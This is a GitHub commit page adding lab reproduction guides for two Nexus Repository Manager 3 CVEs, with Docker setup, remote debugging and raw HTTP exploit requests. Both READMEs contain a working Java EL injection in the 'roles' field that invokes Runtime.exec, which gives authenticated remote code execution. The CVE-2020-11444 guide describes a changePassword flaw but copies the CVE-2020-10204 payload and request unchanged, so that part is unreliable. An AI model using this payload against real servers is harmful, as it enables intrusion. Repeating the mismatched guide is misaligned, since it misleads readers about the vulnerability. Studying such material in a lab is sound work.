Skip to content

Commit 964a009

Browse files
author
“threedr3am”
committed
feat:添加nexus
1 parent 94979ad commit 964a009

File tree

4 files changed

+132
-0
lines changed

4 files changed

+132
-0
lines changed

‎nexus/CVE-2020-10204/README.md‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
CVE-2020-10204 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.1
4+
Affected Versions: All previous Nexus Repository Manager 3.x OSS/Pro versions up to and including 3.21.1
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.21.2
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.1
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.1
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
漏洞点在 org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl 被绕过
33+
34+
### 5. 登陆任何一个账号
35+
36+
### 6. 调用更新role接口
37+
数据包：
38+
```
39+
POST /service/extdirect HTTP/1.1
40+
Host: 127.0.0.1:8081
41+
Content-Length: 301
42+
accept: application/json
43+
Sec-Fetch-Dest: empty
44+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
45+
NX-ANTI-CSRF-TOKEN: 0.16936373694860252
46+
Content-Type: application/json
47+
Origin: http://127.0.0.1:8081
48+
Sec-Fetch-Site: same-origin
49+
Sec-Fetch-Mode: cors
50+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
51+
Accept-Encoding: gzip, deflate, br
52+
Accept-Language: zh-CN,zh;q=0.9
53+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb
54+
Connection: close
55+
56+
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected]","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9}
57+
```

‎nexus/CVE-2020-11444/README.md‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
CVE-2020-11444 Nexus Repository Manager 3
2+
3+
影响版本：<= 3.21.2
4+
Affected Versions: All previous Nexus Repository Manager 3 OSS/Pro versions up to and including 3.21.2
5+
6+
Fixed in Version: Nexus Repository Manager OSS/Pro version 3.22.0
7+
8+
### 1. 拉取镜像
9+
```
10+
docker pull sonatype/nexus3:3.21.2
11+
```
12+
13+
### 2. 创建nexus数据目录
14+
```
15+
mkdir /your-dir/nexus-data && chown -R 200 /your-dir/nexus-data
16+
```
17+
18+
### 3. 运行nexus docker镜像
19+
```
20+
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /your-dir/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3::3.21.2
21+
```
22+
23+
### 4. github下载源码 & idea远程debug
24+
```
25+
git clone https://github.com/sonatype/nexus-public.git
26+
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
27+
```
28+
idea创建远程debug-启动
29+
```
30+
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050
31+
```
32+
漏洞点在 org.sonatype.nexus.security.internal.rest.UserApiResource#changePassword 接口
33+
34+
新版本在 org.sonatype.nexus.security.internal.DefaultSecuritySystem#changePassword(java.lang.String, java.lang.String, boolean) 修复
35+
36+
### 5. 登陆任何一个账号
37+
38+
### 6. 调用更新role接口
39+
数据包：
40+
```
41+
POST /service/extdirect HTTP/1.1
42+
Host: 127.0.0.1:8081
43+
Content-Length: 301
44+
accept: application/json
45+
Sec-Fetch-Dest: empty
46+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47+
NX-ANTI-CSRF-TOKEN: 0.16936373694860252
48+
Content-Type: application/json
49+
Origin: http://127.0.0.1:8081
50+
Sec-Fetch-Site: same-origin
51+
Sec-Fetch-Mode: cors
52+
Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
53+
Accept-Encoding: gzip, deflate, br
54+
Accept-Language: zh-CN,zh;q=0.9
55+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb
56+
Connection: close
57+
58+
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected]","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9}
59+
```

‎nexus/pom.xml‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>nexus</artifactId>
13+
14+
15+
</project>

‎pom.xml‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@
2323
<module>cas</module>
2424
<module>ShardingSphere-UI</module>
2525
<module>shiro</module>
26+
<module>nexus</module>
2627
</modules>
2728

2829
<name>learn-java-bug</name>

0 commit comments

Comments
 (0)